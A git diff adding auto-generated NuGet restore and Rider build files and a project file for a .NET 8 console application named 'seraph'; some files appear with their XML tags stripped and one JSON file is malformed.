index 0000000..acbd291
--- /dev/null
+++ b/seraph/obj/project.packagespec.json
@@ -0,0 +1 @@
+"restore":{"projectUniqueName":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","projectName":"seraph","projectPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","outputPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\","projectStyle":"PackageReference","originalTargetFrameworks":["net8.0"],"sources":{"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\":{},"https://api.nuget.org/v3/index.json":{}},"frameworks":{"net8.0":{"targetAlias":"net8.0","projectReferences":{}}},"warningProperties":{"warnAsError":["NU1605"]}}"frameworks":{"net8.0":{"targetAlias":"net8.0","imports":["net461","net462","net47","net471","net472","net48","net481"],"assetTargetFallback":true,"warn":true,"frameworkReferences":{"Microsoft.NETCore.App":{"privateAssets":"all"}},"runtimeIdentifierGraphPath":"C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"}}
\ No newline at end of file
diff --git a/seraph/obj/rider.project.model.nuget.info b/seraph/obj/rider.project.model.nuget.info
new file mode 100644
index 0000000..36e2860
--- /dev/null
+++ b/seraph/obj/rider.project.model.nuget.info
@@ -0,0 +1 @@
+17225408775286069
\ No newline at end of file
diff --git a/seraph/obj/rider.project.restore.info b/seraph/obj/rider.project.restore.info
new file mode 100644
index 0000000..36e2860
--- /dev/null
+++ b/seraph/obj/rider.project.restore.info
@@ -0,0 +1 @@
+17225408775286069
\ No newline at end of file
diff --git a/seraph/obj/seraph.csproj.nuget.dgspec.json b/seraph/obj/seraph.csproj.nuget.dgspec.json
new file mode 100644
index 0000000..03a8722
--- /dev/null
+++ b/seraph/obj/seraph.csproj.nuget.dgspec.json
@@ -0,0 +1,63 @@
+{
+ "format": 1,
+ "restore": {
+ "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj": {}
+ },
+ "projects": {
+ "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj": {
+ "version": "1.0.0",
+ "restore": {
+ "projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
+ "projectName": "seraph",
+ "projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
+ "packagesPath": "C:\\Users\\gum\\.nuget\\packages\\",
+ "outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\",
+ "projectStyle": "PackageReference",
+ "configFilePaths": [
+ "C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config",
+ "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
+ ],
+ "originalTargetFrameworks": [
+ "net8.0"
+ ],
+ "sources": {
+ "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
+ "https://api.nuget.org/v3/index.json": {}
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "projectReferences": {}
+ }
+ },
+ "warningProperties": {
+ "warnAsError": [
+ "NU1605"
+ ]
+ }
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "imports": [
+ "net461",
+ "net462",
+ "net47",
+ "net471",
+ "net472",
+ "net48",
+ "net481"
+ ],
+ "assetTargetFallback": true,
+ "warn": true,
+ "frameworkReferences": {
+ "Microsoft.NETCore.App": {
+ "privateAssets": "all"
+ }
+ },
+ "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/obj/seraph.csproj.nuget.g.props b/seraph/obj/seraph.csproj.nuget.g.props
new file mode 100644
index 0000000..697cd57
--- /dev/null
+++ b/seraph/obj/seraph.csproj.nuget.g.props
@@ -0,0 +1,15 @@
+
+
+
+ True
+ NuGet
+ $(MSBuildThisFileDirectory)project.assets.json
+ $(UserProfile)\.nuget\packages\
+ C:\Users\gum\.nuget\packages\
+ PackageReference
+ 6.9.1
+
+
+
+
+
\ No newline at end of file
diff --git a/seraph/obj/seraph.csproj.nuget.g.targets b/seraph/obj/seraph.csproj.nuget.g.targets
new file mode 100644
index 0000000..3dc06ef
--- /dev/null
+++ b/seraph/obj/seraph.csproj.nuget.g.targets
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/seraph/seraph.csproj b/seraph/seraph.csproj
new file mode 100644
index 0000000..1dcdc60
--- /dev/null
+++ b/seraph/seraph.csproj
@@ -0,0 +1,22 @@
+
+
+
+ Exe
+ net8.0
+ enable
+ enable
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+